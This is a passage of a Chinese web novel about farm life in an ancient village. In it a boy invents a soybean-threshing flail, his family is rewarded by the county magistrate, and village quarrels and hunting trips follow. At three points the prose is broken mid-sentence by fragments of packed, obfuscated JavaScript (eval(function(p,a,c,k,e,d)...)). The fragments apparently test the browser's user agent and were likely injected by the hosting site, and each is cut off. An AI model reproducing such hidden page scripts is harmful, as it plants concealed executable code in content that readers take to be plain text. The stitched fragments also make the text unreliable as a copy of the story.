“爹,不若做两个出来吧,这个东西配合一起用,事半功倍,听说村长伯伯家今年也中了不少黄豆,村长爷爷对咱们家很是照顾,这回起院墙,来元叔又是头一个响应的,咱们得了好东西,送个过去也是应当。” 赵来贺笑了,“很是很是,确实如此。” 古代村里,宗族的力量是很大的,村长非但是一村之长,又是他们赵家宗族,平常多往来,对他们自然没有坏处, 只是,赵丰年想的还要多一层,那边是后面的事了。 很快,就到了大豆收获的时候了。 自打大豆传到了怀江府,因为其饱腹感,以及种植后能使其他作物增产的特性,很快就传播开了,越是地少的人家,恨不得全部种大豆,只是这东西口感不好,吃多了容易胀气放气,那些富贵人嫌弃其不雅,是不吃这东西的,因此大豆依旧属于是买不上价的下等粮,因此,这才没让所有人都去种大豆。 但是在赵家村,种大豆的人家在附近几个村里子绝对算得上数一数二的,这也可能跟赵家村水田比较少有关。 而在赵家村,赵家今年足足六亩地的大豆也算是多的了,村长家地多,种了十亩,赵大伯家是八亩。 就在收大豆前几日,赵家的院墙全部完工,这一回赶上了农忙,没打算摆酒庆祝,大家伙便投入到了农忙中。 巧娘本想停了孵小鸡一起帮忙,但是赵来贺没让她下地,只花了几个铜板请了同村的几个即将要娶亲的小伙子收割,不过三天就收完了,山脚边的五亩地只在靠着山那围了起来,收完直接从那边的后门拉进了他们家的院子。 巧娘需要做的是将豆子整株铺在前些日子夯平的场子上晾晒。 顾家私塾放了农忙假,赵丰年就跟在巧娘后面一起帮忙晾晒,巧娘心疼儿子,只塞给了他一个小篮子,只让他捡一捡门口掉落的大豆。 赵丰年无奈去了,还被几个青年取笑了一番。 大豆的采收是整株拔起收回来的,不然等干透了,豆荚会自己晒干炸开在地里,那种炸开在地里的,每一两天就要发芽的,因此,总是要趁着还青色的时候拔回来晾晒,老天爷给力的话,不到十天就能开始打豆子了。 许是注意力都放在赵家的大院子上了,几个青年到底是经验不足,没看出赵家这批豆子的质量远比旁人家的好,旁的不说,就说饱满的豆荚,占据了豆株的一般以上了。 赵来贺确实很早就留意到了,他们家还有一亩地是没上堆肥的,瘪豆荚明显比上了的多很多,不过,这还是第一年上肥,赵来贺已经很满意了。 等到可以打豆子的时候,用上了连枷。 赵来贺一共做了四个,此时跟巧娘两个人,在赵丰年指导下,面对面站开,你上我下,我上你下,刚开始还有些生疏,不时会撞在一起,但是随着渐渐熟悉起来,动作是越来越熟练,竟是没一会儿功夫就去了一亩地的豆子。 夫妻俩自然是惊喜不已。 “竟是毫不费力,手这样一抬,这上头的自己就打着转甩下去了。”上回做好后,巧娘还瞧不明白怎么用,如今上手了,慢慢都是喜欢。 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“大生叔,这不是,前些日子,宝儿听我说怎么用石滚子给大豆脱粒,心疼我们辛苦,便想出了个东西,专门用来打大豆,我跟宝儿娘昨日个试过了,省不少力呢,想着您家有十亩地的豆子,就想给您送来也试试。” “哦?打豆子的?就是你手上拿的这个?”赵大生起了点兴趣。 “可不是,省力又好用,昨儿个我们两个人一天就打了两亩地的大豆呢。” 赵大生忙让递过来给他瞧瞧,然后让两个青年上来。 赵来贺亲自上手演示了一番,两个青年这才慢慢动作起来。 赵来贺演示的时候,众人早就被吸引了,知道这是个好东西,见那两人动作不对,还有嚷着要自己上的。 好在这东西只是刚上手不熟练,等转了几圈,两人这才渐入佳境,见只是这样来回甩几下手,那豆荚纷纷炸开,众人再次火热了。 几个阿婆还趁机上手了一番,发现这东西女人也用的好,更是喜欢了。 赵大生笑得合不拢嘴,“好东西,确实是好东西。” “这都是我们宝儿孝顺,心疼爹娘才想出来的法子!” “宝儿也是好孩子,有出息!前些日子想出了孵小鸡的法子,这回又想出了这个,以后肯定有大出息呢!” 赵丰年早就知道他爹把他带过来的目的就是炫耀,但是此时听了,还是有些脸热。 众人也才知道,这个叫做“连枷”的工具,居然是赵丰年一个小孩子想出来的,只是想到之前他的孵小鸡法子,越发觉得也不是不可能,只是这番就越发羡慕人家有个好儿子了。 村里有儿子的忽然都觉得手有点痒。 天气凉了,有点想打孩子了。 而还在打谷场疯跑凑热闹的孩子,忽然觉得背后一凉。 16. 农家日常 试了一回后,赵大生直接让儿子赵来元扛上两把连枷,请赵来贺父子家去坐坐。 到了家,又让赵来元喊媳妇做饭,赵来贺推了一番,才说到正事。 “来贺啊,你不藏私,愿意把东西亮出来,这我得感谢你,村里老少爷们都要感谢你,只是你也知道,这东西做起来简单,怕是大家过不了一两天就自己做出来用了,除了族里表彰几句,怕是再多也不能够了,村里就这样,你可别放心上。” 赵来贺笑了笑,看向了儿子,赵丰年于是开口了,“大生爷爷,我们家既然拿出来了,就是为了方便大家的,之所以先给爷爷家送过来,也是想着您之前对我们家多有照顾,您一心为村里着想,后面大家想学了,又或者自己做了,都无甚妨事,只是我们又想着,这推广农具,不是也是知县大人的事么?总不好我们私下推广,被知县大人知道了,以为我们赵家村想要一方独大那就不好了。” 赵大生也是个聪明人,顿时明白了他的意思,只是毕竟当了一辈子农民,忽然听到当官的,便有些犹豫了。 赵丰年继续,“我们寻常百姓面见知县大人自是不易的,只是听说彩云婶子娘家大伯在府衙任职,倘若经他之手将我们村的一片心意呈给知县大人案上,倒是方便了,若是在粮税前送到,说不定今年纳粮税也容易些。” 大夏朝收两次两税,夏税在四月到六月,秋税十月到十二月,临县县令姓章,算是个公正的,只刚来一年,他来后,旁的不说,只单上粮税的时候,是比往年是好受一些的,那些衙役也只是象征性的收取一些“耗米”,只是,该为难的还是要为难,该打点的还是要打点。 一听说涉及到粮税,赵大生立即上了心,左右不是要他亲自去见县令,成了他们赵家村就威望就会超过其他村子,他们宗族就更上一层楼,不成的话,也没什么损失。 “我那媳妇的大伯只是在府衙当个小卒,也不晓得能不能成了。”赵大生也是被带跑偏了,这话说完,居然去看赵丰年的意思。 赵丰年笑了笑,“小卒也比咱们这些平头百姓强,再说,人往高处走,水往低处流,这是双赢。” 赵大生念了几句“双赢”,越发觉得可行,当即点头应下了。 从村长家出来,只见一堆人正围着这边,赵大生忙着安抚村民,赵来贺父子则趁机溜走了。 第二日一大早就有不少人来赵家借连枷,想要借用的也有,想要照着做一个的也有,赵来贺将两把连枷借出去后,刚要关上门,就见赵来元扛着锄头往这边走,一边喊人。 “来贺哥,在家呢?” “来元啊,吃了么?” “吃过了,新下的豆子香着呢,打算去翻地呢,我爹让顺道走这边跟你说一声,彩云大伯已经去办这事,不是我说,来贺哥你们这院子盖得真不错!村里可没少羡慕的。” 赵来贺笑,“回头你也搬西头来,地宽着呢。” 赵来元也笑,“那也成,咱们还能做邻居。” 赵来元走后,有陆陆续续来了几波借连枷的,赵来贺只能告诉众人借出去了,其他人倒也不介意,夸了几句就走了,只是王三娘跟随后到的王小红就不舒坦了。 “不是我说,这做儿子的得了趁手的东西,不先孝敬爹娘,倒是赶着送给外人,天底下就没这样的道理,她大伯娘,你们家 今年不也种了三亩地的豆子嘛,这回还是担到打谷场用石滚子呢?” 两人向来不对付,如今倒是能走一道上说话了,几个一起来的媳妇大娘都觉得十分稀奇。 换做是平时,王三娘不会理睬王小红,但是此时她也有一肚子不满想要发出来,“可不是,这老四家可真有意思,上回孵小鸡,谁家都送到了,就没记上爹娘,老四能起围墙,可见从山上寻摸了多少好东西,可怜爹娘在家里都馋肉好几个月了,他赵四倒好,连个肉皮都没送块来。” 旁边的人听不下去了,“来金家的,这话就不对了吧,鸡苗那事,来贺家的不是提了篮鸡蛋给你家嘛?再说了,端午的时候不是才送了小半边羊去?” “对啊,前些日子,巧娘还送过几天鱼呢,怎么老两口就又馋肉了?不是这肉都被你们自个儿吃了吧?” “我呸,说什么亏心话呢!谁吃了肉不给老两口吃了!” 王小红不是不知道赵四家给老宅送东西,每次送过去她都会把儿子往老宅送,就为了让儿子蹭上一口肉吃,只是一听说赵四家送过这么多东西,心里总归是不平衡的。 “他大伯娘,这就是你的不是了,老四今日这事做的不地道,但是你也不能亏了爹娘的肉啊,我们几个小的少分了地跟钱,不就是因为你们大房要奉养爹娘嘛。” “王小红,有本事下回你就别把柱子送老宅来,我呸,肉没少吃,轮的到你说话!”王三娘又啐了一口,快步走开了。 王小红自觉今天占了上风,心里居然觉得舒坦多了。 几个看热闹的自然少不了又是一番闲话,不用说,明日村口的话题就是赵四家给老宅的爹娘送了多少肉,而赵大夫妇苛待爹娘的事了。 这些闲言碎语跟赵丰年家没什么关系,因为天气渐凉,他们家收完大豆还要趁早把鸡棚搭起来,因此赵来贺夫妻俩连干了三天,总算是把大豆都分拣出来了。 筛去杂质,居然连竹筐都装满了,赵来贺连忙去赵家大伯家借了称来,一家三口锁上门,激动又期待地称重。 “一石又两斗!”赵来贺双眼放光。 巧娘也不遑多让,“真的是一石五斗,不是咱们算错了吧?” “宝儿都记着呢,顾小秀才说了,宝儿的算学学得好,肯定错不了。” 赵丰年点头,巧娘这才笑开了。 这里一石是一百斤,一斗是十斤,一石两斗就是一百二十斤,这边大豆的亩产在六十到一百二十斤,之所以这样是因为好要分上中下田的区别,一百斤以 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“哎,都难,今年雨水足,下河村本来不缺水的,偏偏河道上来了,淹了好一大片地。”一边的赵家村村人叹了口气。 “上河村王大牛造的孽,但凡那时候把年轻力壮的喊过去帮忙疏通,也不至于来不及堵不住口子了。” “得了吧,也是下河村先围河岸开荒种地的,瞧把周围村子影响的,两村本来就不对付,能帮忙才怪呢。” 赵丰年这才明白前因后果。 本来今年下河村的损失报上去,张县令倒是也是个好官,免了一部分的税,只是他们刚才进城的时候,刚巧跟上河村的送粮队碰上,冤家路窄,发生了一些摩擦,导致双方损失都不少,此时赵丰年就看到下河村牛车上的麻袋破损口上还在漏豆子,边上的青年一边抹眼泪一边慌张那手去堵。 此时前面也结束了,下河村村长哭丧着一张脸,交了粮税,路过这边的时候,赵家村这边有人问了情况。 下河村村长露出一个比哭还难看的笑,“能怎么着,少了十分之一,不得补上‘粮损’?” 赵家村今年很快就过了称,十分顺利,甚至都没有交“粮损”,让众人都十分欣喜。 赵丰年猜测张县令或许已经看到了他们呈上去东西了。 这时,上河村村长露出同样的哭丧脸,从他们身边路过。 “赵老哥,今年你们村收成不错啊。” 赵大生笑了笑,“都是老天爷赏脸,年岁好。” 就在众人收拾收拾东西准备回去的时候,只见那边衙门口走出了一个穿着差服的衙役,笑眯眯地走到众人之间,环视了一番后,问道: “赵家村村长赵大生可在?” 赵大生头一回连名带姓被衙役叫,当即双脚就直打哆嗦,险些站不住。 却只有听到说—— “赵家村赵来贺可来了?” 17. 农家日常 赵来贺猛然听到自己的名字,也是一愣,反应过来,连忙举手作揖。 “草民正是,不知差大人有何事?” 赵大生也忙应声。 那衙役笑了笑,“你就是赵来贺?那想必旁边就是你儿子了。” “回差大人的话,正是犬子。” “果然一看就聪慧,县令大人知道尔等今日来送粮,特命我来给你们送点东西。” 说罢,只见另一个衙役端了一个盖着红布的木盘出来,红布掀开,摆着两锭银子。 一时间,送粮的众人都被吸引住了。 “县令大人说了,赵家村大德,献连枷有功,特赏十两银子,以示嘉奖。” 众人立刻将目光全部转到了赵家村人,赵家村的人面临各种羡慕的目光,下意识挺起了胸膛。 赵来贺见赵大生还在愣神,忙又作揖,“这都是我们该做的,难为县令大人还惦记着,劳差大人同我等谢过县令大人。” 衙役点点头,只见托盘送到赵来贺手上。 这是有机灵的回过神来了,忙问赵家村这边什么是连枷。 两个衙役还没走,赵家村这边不敢出声,赵丰年看了衙役,果然见那衙役又从身边那位手上接过一张告示。 “赵家村献上脱大豆之农具,县令大人亲自试过,比之以往工具轻便好用,能减轻农时,这告示上有制作方法,各村若有意,今日便可看看,今日过后,县令大人也会派人手去各个村里推广此物。” 这话一出,地下瞬间一片议论。 不知是谁说了一句“县令大人正是个好官啊”,引起了一片附和。 回去的路上,赵家村的人脸上都洋溢着喜意。 赵来贺本想将十两银子交给村长赵大生,但是赵大生拒绝了,直言这是他家想出来的法子,就该他拿着。 “就是,来贺哥,咱们村能得县令大人的表扬,还不是因为你,因为宝儿的缘故,你是没看到,今天其他村看我们村有多羡慕。” “没错,是这个理,咱们什么都没做呢,县令大人还夸咱们村大德,要是还去分衙门给的银子,那还是人么!” 众人在这个上面难得出奇的一致。 赵来金拍了拍弟弟肩膀,也是一脸骄傲。 赵来贺笑着收了起来,只说要拿五两出来翻修祠堂,大家更加高兴了。 赵家村的老祠堂已经好几年没翻修过了,翻修祠堂是好事,也是大事,大家纷纷表示要出力帮忙,气氛十分热烈。 这一路上,就在众人忙着夸赵丰年,以及问赵来贺养儿子的经验中度过了。 回到家,赵来贺得留下来跟村长及几个族老商量修祠堂的事,赵丰年一个孩子不便留下来,便准备先回家了。 赵来贺本来还想送他回去,被几个青年笑了几句,一旁的妇人们倒是挺欣赏。 “你们尽管商量事,有我们在,保管替你把儿子送到你家那口子手上!” 回到家,巧娘谢过了热情的村民,这才从赵丰年嘴里得知了前因后果。 自是欢喜不已,当即从屋檐下取了一条腊肉,直言要给父子俩做顿好的。 晚上,一家人高高兴兴吃了一顿饭。 “入了冬我就不打算孵小鸡了,不好养活,反倒白费了柴火。” 赵来贺点点头,“是这个理,家里柴火还要多备些,指不定什么时候就要落雪了,今儿个在村长家,我听春子说村里有人看见了麋子跑下山了。” “我也听说了,说是靠北边那块儿,顾家村的人正组人手呢。” “咱们村也打算组人了,问了我,我没应,修祠堂的事不用我们操心,我想着这两日功夫得去趟县城,刚好得了赏银,趁机把驴子买了,不至于太扎眼,赶在腊月前我再进山。” 巧娘一脸期待,“这是好事!等买了驴子,回头做一架板车,等你再去城里出货也不用总借别人家的板车了。” 第二吃赵家吃的是杂面馒头,锅里水开后,巧娘手快地捡了三个,用一块白布包了,这才放进了赵来贺的褡裢里。 “这个天气,不等到了县城怕就硬透了,看见那卖羊肉汤的你就买上一碗,好歹吃口热乎的。” “我心里有数,这么大的人了,还怕饿着不成。” 巧娘知道他八成还是不会花那个钱,嘟囔了一句,又道,“我今日回趟柳河村,跟爹说一声,让先做个板车出来,你别买牲口那地界儿的车,听说要价比外头贵了有三文钱呢!” “也成,那我一会儿去富哥家说一句,顾家私塾就要开始读书了,别到时候又不去了。” 巧娘是知道赵家大伯是怎样宠溺孩子的,赵有志又养的娇贵,是可能怕冷推说不去学堂的。 “不妨事,有志真不去了,我便雇了他家牛车也没什么,等回头咱们家就有驴车了,总归是没几日的。” 涉及到赵丰年,夫妻俩没一个舍不得的。 赵来贺这边跟赵来富说好,便直接去了县城。 赵有志本来还真是打算不去学堂,他爷也答应他了,偏偏赵来贺来摆脱他们送赵丰年去学堂,他爹便也把他从床上拉了起来。 得知前因后果的赵有志,气得一身肉都在颤抖。 等看到赵丰年,更是气的牙痒痒。 “赵丰年,你真是个害人精!” 赵丰年惊讶,他还以为上次吃过亏之后赵有志不想跟他搭话了呢。 “我什么时候害你了?” “要不是你非要去学堂,我就不用顶着冷风吹了!”说要,他适时地打了个喷嚏。 赵大伯家的这个牛板车跟其他家的没什么两样,人坐在上面就直接坐在车板子上,天暖的时候不觉得有什么,到了冬天,就格外的冰冷刺骨了,更别提还要顶着风吹。 赵丰年正想着这事儿,赵有志见他不说话,立马变本加厉。 “你没话说了吧,果然是个害人精——” “有志!越说越不像话了,宝儿是好读书,你跟他学着点!”赵有富打断儿子,又摸了摸赵丰年的脑袋。 “宝儿啊,你功课做的好,平日里可要多带带你有志哥哥。” 赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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告别赵来富,赵丰年直接进了私塾。 只留下全程都插不上嘴的赵有志一个人风中凌乱。 这日下学的时候,是赵家大伯赵大强来接的。 想到昨天赵来贺说的村里准备组织人手上山打麋子,赵丰年了然,怕是赵来富也参与了。 回到家,巧娘已经从柳河村回来了,见到他,给他塞了一块糕饼。 “快尝尝,你舅母前些日子赶集买的,甜着呢。” 赵丰年咬了一口,果然是甜。 听巧娘说,村里人晌午前进的山,怕是要到第二天才下山了。 “除非是当天就逮到了,只是费了那么多人力的,一只两只是不能够让大家伙们轻易放弃下山的。” 没过多久,赵来贺也牵着驴子回来了。 巧娘看着那驴子只觉得怎么稀罕都不为过,因此,傍晚这顿饭,一家人是捧着碗围着驴子吃的。 村里人都以为捕猎的一帮子人第二天差不多就要下山了,可临近黄昏,进山的那条路愣是不见半个人影,当即便有人慌了了。 到了傍晚,便有不少人聚在了村长家准备上山找人了。 “这事您得拿个主意,这是一天一夜了,野猪这个季节正寻食呢!” “就怕遇到狼群。” 这边,吃过晚饭的赵丰年一家刚讨论过捕猎队的事,只听到门被敲响了。 18. 第 18 章 “贺兄弟,大家伙儿打算上山寻人了,本来你家没沾这事,没打算劳烦你,只是你往日里进过山,对山里情况也熟悉,你看......” 赵来贺跟着人走后,巧娘跟赵丰年也没了睡觉的心思,收拾收拾,索性举着火把出了门,去村头跟着众人一起等消息。 这一等就是大半宿,巧娘怕儿子着了凉,就把赵丰年先送回了家,正打算继续过去,就听到外面一阵嚷嚷,母子两人对视一眼,连忙赶出去。 正要出门,就见赵来贺一身狼狈出现在了门口。 “这是怎么了?!” 赵丰年上下左右看了一遍,没发现赵来贺身上有伤口的样子,这才放下心来,跟巧娘一起等他开口。 赵来贺一边关上门,放下门闩,一边回答,“没伤着,黑灯瞎火的,是被树枝刮的。” 折腾了一晚上,到了第二天,赵丰年才知道发生了什么事。 “就端午那会儿,顾家村不是进了野猪,又上山围猎过一次嘛?” 当时赵丰年刚想出来弩箭,来贺急着进山寻东西远远瞧见过,赵家私塾为此还提前放了几日的假,赵丰年自然记得。 “起初他们上山围猎那只野猪的时候让野猪逃了,野猪记仇,入了冬山上找不到吃的,就怕要下山来,这次听说有麋子,索性也组织了人手进了山,猎野猪的时候顺道碰碰运气,这头刚跟跟野猪杠上,刚巧我们村追麋子追到了那边,跟赵家村撞到了一块儿。” “那可怎么办?”巧娘下意识为那些人紧张起来了。 “麋子是抓不到了,只是那野猪一看这么多人发了疯似的,后来是两村合力才弄死了那只野猪,说是那头野猪怕是有三百多斤,等我们找过去的时候,正要抬野猪下山。” 巧娘松了口气,“没出事就好。” 赵丰年这日还是坐赵大伯家的牛车去顾家学堂。 只是等他下学的时候,在顾秀才家门口看到了赵来贺,家里那头驴子已经拉上了板车了,正在一边啃干草。 “宝儿,这边!”见儿子出来,赵来贺连忙喊人,又冲后头的赵有志打了个招呼,“有志,你爹爷来不了了,今天你做叔家的车回去。” 赵有志嘟着一张嘴,有些不乐意,但到底是上了驴车。 赵来贺这才笑眯眯地跟儿子解释。 “你舅舅一大早上就送来了,没赶上你上私塾还觉得可惜呢......咱们村跟顾家村分了那只野猪,参与的那几家今天在打谷场卖肉呢,宝儿你还没见过野猪,一会儿爹带你去看看。” 赵丰年应了声。 到了村口,赵来贺问赵有志是先回家还是一起去看野猪。 “你爹娘爷奶都在那边卖野猪肉呢,家里怕是没有人了。” 于是,赵有志也一起去了打谷场。 还没到打谷场,就已经听到那边的热闹了。 “哟,来贺来了啊,刚才还说你家买了驴呢,这就见着了,嘿,这大青驴,真不赖啊!” “贺小子还是有本事的,最近是发了财啊,又是起围墙,又是买驴子的。” “可不是,这可是咱们村头一份啊,怎么还看得上这也猪肉了。” 村里人多的是调侃,但也有那确实眼红的。 赵来贺只笑着摆摆手,“买完驴子就不趁手了,连这野猪肉也不不敢买了,只是不买也不行,我们家宝儿私塾远着,可不能累着孩子。” 便又有人调侃他是个儿子奴。 只是这时候赵来富开口了,“你们也别打趣他了,他能买上驴子,旁人不知道,咱们村里人还不知道吗,那是县令大人送的银子,不然依着他那疼儿子的劲儿,能不买咱这肉。” 众人一听,觉得好像是这样没错,便歇了火了。 妇人那边,赵来富媳妇也是同一套说辞,妇人们自然知道养活一家子要怎么精打细算,而且还想到他赵四家还有个一直吃药的孩子,想来手上是不宽裕了。 甚至有人觉得他们买驴子是打肿脸充胖子。 “真有那闲钱,怎么着也要买头牛,能拉车还能犁地呢。” “一头牛得十八俩银子呢,比不得驴子,他得了十两赏银,拿出几两修祠堂,剩下的买头驴子刚刚好。” “只是这也太大手大脚了些,巧娘,日子还是要省着过的,不能这样手缝宽的。” 巧娘笑着点点头。 得知赵四家如今也没什么家底,众人便在也没再说什么了。 赵来富又冲赵来贺笑道,“来贺,你就是不来买肉,我也是要给你送一斤的,你领着人大晚上进山来找我们,这是你讲义气,重感情,我们几家人商量好了,可不能让你们白跑一趟。” 赵来贺没拒绝,不过只要了半斤,就带着媳妇儿子回家去了。 人群里,看到这一幕的王小红连忙拧了一把赵来喜。 “你看看老四,不光买了地,如今又买了驴,你还是做哥哥的,都不及人家一半的。” 赵来喜懒散惯了,原先住一起的时候,人手多他还能偷偷懒,而分了家后,地里的活只能自己做,让他都后悔分家了,先前还不时回老宅转一转蹭两口饭吃,后来王三娘吵了一架,只能放弃了。 一起分出去的人,老三去做了人家员外家的账房先生,老四自己有赚钱的法子过得风生水起,眼瞅着就自己一事无成,赵来喜自是不平衡又嫉妒的,只是这种事不能是旁人说出来,自己媳妇也不成。 是以,赵来喜瞪了王小红一眼,转身就走了。 王小红愣了愣,险些没气笑。 到了她的时候,想到儿子还在家嚷着要吃肉,还是咬咬牙买了一小块。 这边,赵丰年一家人刚走到家门口,就见赵来元领着两个陌生脸孔提着不少东西从另一条路上走过来。 “来元,这两位是?” 赵来元笑,“贺哥,刚才去打谷场那边找你们呢,说是你们已经回来了,这是彩云娘家大伯,周大伯,跟他儿子大力。” 父子俩长得很像,都有一张国字脸。 此时年轻的国字脸笑着冲赵来贺作了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵丰年安抚道,“娘,你只管收下,这是他们的谢礼,对于大力伯父的前程而言,这并不算什么,再者,这是也是他们在告诉我们,往后还有这样的活,记得去找周家。” 巧娘不解,看向了赵来贺,“是这个意思?” 赵来贺点点头,“也不用有太多负担,无论如何,这次大家都欢喜的事。” 周家父子告诉赵家人,县令大人派了不少人去各个村里推广连枷,周大力刚好表现一番。 赵来贺巧娘夸赞县令大人爱民如子,赵丰年也觉得这个张县令听起来确实是个不错的县令。 第二天,赵家迎来了一个少见的客人——赵来喜。 “老四,听说昨天县衙里的衙差来几家了,还给你家送了东西?” 赵来喜也不想来,但是没办法,他不能眼睁睁看着几个兄弟把自己远远甩在后头,他得想办法赚钱,而地里的活他实在不想干,昨天晚上跟媳妇王小红吵了大半宿,今天一早听说赵来元媳妇那个在衙门当差的大伯带着一堆好东西去了赵四家,顿时就坐不住了。 19. 第 19 章 赵来喜走的时候脸色不太好。 赵丰年到家后才知道这事,倒不是赵来贺巧娘说了什么,而是赵来喜在这边没得到想要的,又去了老宅。 照村里那些妇人的说法,是就差指着赵老汉的鼻子说他偏心,只给赵老三找了个好差事。 “赵老汉这事确实办得不地道,四个儿子,总要一碗水端平,不然这不是找麻烦嘛。” “话也不能这么说,赵来庆可是读书人,识字的读书人总要比咱们这些土里刨食的人好找活干的。” “可不是,不然大家伙们都去镇上县城做工,怎么他赵来庆就能当账房了,旁的不说,就是赵大强那兄弟,不也是因为读了书,才能去给人家当管事么。” 赵丰年跟巧娘听了一耳朵就离开了。 几日后就听说赵二成功地在县城找了一份体面的活干,赵丰年一家没细去打听,因为赵来贺要进山了。 巧娘前一天蒸了一锅杂面馒头,又用竹筒装了一竹筒的咸菜,到时候在山上,折两根树枝就能当筷子。 赵来贺进山后的第二天,顾家私塾正式放了假,瞧着天色快要下雪,赵丰年拦住了正要前往河边浣洗的巧娘。 巧娘无奈,不过想着衣服也不多,最后还是同意在家里烧热水洗了。 这边刚洗到一半,就听见敲门声。 原来是村里关系好的妇人问巧娘要不要一起去山里捡板栗。 巧娘还惦记赵丰年一个人在家,那妇人便笑,“那就让孩子一起去呗,咱们又不进山里头,只在外边,人又多,怕什么呢, 我家牛蛋,桃花都去,他们小孩子家的,觉得好玩,给个篮子就老实了。” 巧娘一想是这个理,给赵丰年又加了一件夹袄,母子两人这才出了门。 赵丰年到了地方才知道还有不少男丁一起,大家多背着背篓提着篮子,确实人不少,他还瞧见了大胖,他今年抽条了不少,如今背个背篓站在几个孩子中间,颇有些鹤立鸡群。 “今年的野板栗熟得晚了些,去年这个时候早就下来了。” “今年的雪也比往年落得晚呢,往年早就下过几场雪了。” “暖冬人不受罪,就怕地里的麦子没了雪水误了明年的收成。” 到了地儿,巧娘也给了赵丰年一个小篮子,又叮嘱了几句,这才忙着跟众人一起捡板栗了。 干掉下来的野板栗外面被刺壳裹着,大家都是直接整个带回去,回头外面的皮刺晒干了还能当柴火烧,赵丰年捡了两根树枝刚夹了几个,就见大胖领着几个小伙伴朝自己走过来。 “宝儿,一到冬天就难见到你出门了,顾家私塾什么时候放假的?” “今日刚放。” 大胖笑,“那还是陈秀才家放的早,我比你早小半个月呢。” 跟几个玩伴说了几句,大胖偷摸摸将赵丰年拉到一边,“宝儿,我开了春不想去读书了。” 赵丰年并不惊讶,毕竟大胖已经表示过很多次不想读书了,他也确实对读书没兴趣,“大伯娘能同意?” 大胖朝王三娘那边瞧了一眼,瘪了嘴,“闹肯定是要闹的,但是我实在是看见那些字头就痛,翻过年你二胖哥就八岁了,我想着,就算我娘想要哥秀才儿子,这不是还有二胖呢嘛。” 大胖说着自己都没了信心,显然他也并不认为二胖能满足他娘的这个心愿。 “识字自然是好的。”赵二胖王三娘养得跟个混世魔王似的,如果真能送去读书明理也是好事,只是就不知道赵二胖愿不愿意去了。 “要我说,我们这大家子就没有读书的料子,哦哦,我没在说你啊,你那么聪明,以后肯定能读出一个名堂来,我娘见天的在家里让我学学你,好以后考个秀才出来,你瞧,我娘都觉得你以后肯定能考个秀才。” 读书考上秀才在村民眼中就已经是顶顶厉害了,至于再进一步,大家没见过自然也不敢想了。 赵丰年没再劝大胖,每个人自己的路只有自己走,大胖自然也会有自己路。 回到家里,巧娘将野板栗一个个踩出来,他们捡的不多,毕竟就一片野板栗林,村里去得人又多。 只是光是这些也能回头拿到集上去买个好价钱了,那些点心坊要用板栗做点心,这个时候能收不少呢。 赵来贺照样是摸着黑回到了家里。 赵丰年此时还没睡,见到他爹一脸喜气洋洋就知道收获不小。 “大货得了只鹿,没碰到野山羊,兔子野鸡倒是不少,年根底下的留着吃,腌干了做干货也整好,明天一早我就去府城,这鹿难得的好品相,县城怕是叫不上价。” 这回巧娘跟赵丰年没有一同去,只说等他从府城回来,一家人去县城赶集,还要拉了鸡去买。 家里到现在是养了一百来只鸡,最开始的五十只巧娘打算留着明年当老母鸡卖,开了春孵春雏,留五十只下蛋也尽够了。 赵来贺想了想,便说自己索性一道拉了去府城,看看能不能一道卖给府城的酒楼,回头一家人去县城置办年货也不至于还要忙碌这个,反正如今有了驴车,也不妨碍什么。 第二天,果然天还没亮赵来贺就赶着驴车走了。 等天大亮了,赵丰年洗漱完,就见王三娘跟王小红竟然一起来了家里。 赵丰年打过招呼,本想先回房间,却被王三娘喊住了。 “听说前几日你爹进了山,今天一大早就往县城去了?是不是收了什么好东西啦?” 赵丰年笑了笑,“无非就是野鸡兔子。” 王小红不相信,“真是野鸡兔子?那你爹怎么走那么早?村里都没人见着的,这还躲着人呢。” “二伯母这是哪里的话?城里好摊位不好找,我爹才特意早些去,再说,有几只兔子都死了,不早些去,怕是买不上价。” “这回都卖了?就不打算留几只家里吃呢?” 王小红的心思就差写在连上了,王三娘都看不下去了,“王小红,你是馋这口肉了还是怎么的,这老二不是在县城大酒楼里当跑堂嘛,这肉还不是天天吃的。” 赵丰年前面只听说赵二伯在县城寻了一个一个月能给四十文的好活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我如今也只剩下几十来只,就是吧,等明年开了春还只望着这几只母鸡给生蛋孵小鸡呢,平日里宝儿他爹馋肉了我都是不给的,都是下蛋的鸡,现在宰了我可是舍不得的。” 王三娘王小红就是指着他们家是下蛋鸡才想要的,只是两人说了一通,巧娘愣是没松口,顿时两人脸色都有些不太好看了。 “依着说,都是一家人,我就是便宜些卖给你们一只两只的都没什么,只是,宝儿爹今年没什么收获,都指望着过完年这些鸡下蛋孵鸡崽呢,不然一过完年怕是要喝西北风去了,就是我跟孩子他爹能扛,宝儿身体弱,又在吃药,总不能让孩子一起扛吧?” 赵丰年适时咳嗽几声。 王三娘王小红便没再坚持了,只又说置办年货的时候想搭她家的驴车去县城,巧娘自是应下不提。 送走两人后,巧娘瞪了一眼儿子,“说你身体不好那是唬你两个伯娘的,你凑个什么热闹,还咳嗽的,仔细真引了咳嗽出来。” 赵丰年笑了笑,“这不是显得您的话更有说服力嘛。” 巧娘也没忍住笑, “滑头。” 20. 第 20 章 赵来贺在傍晚的时候回到了家里,去的时候没人瞧见,回来的时候同样没人瞧见。 “这回赚了八十二两三钱。”赵来贺十分高兴激动,甚至抱起赵丰年来了一圈,还想再装一圈的时候,却被巧娘阻止了。 “白日里才咳嗽了几声,别着凉了。” 赵来贺连忙查看儿子,赵丰年无奈,“娘,都说了我没事。” “仔细些总是没错的。” “你娘说的没错,仔细些总是没错的。” 等赵来贺洗漱又填饱肚子后,一家人这才坐下来一起数银子。 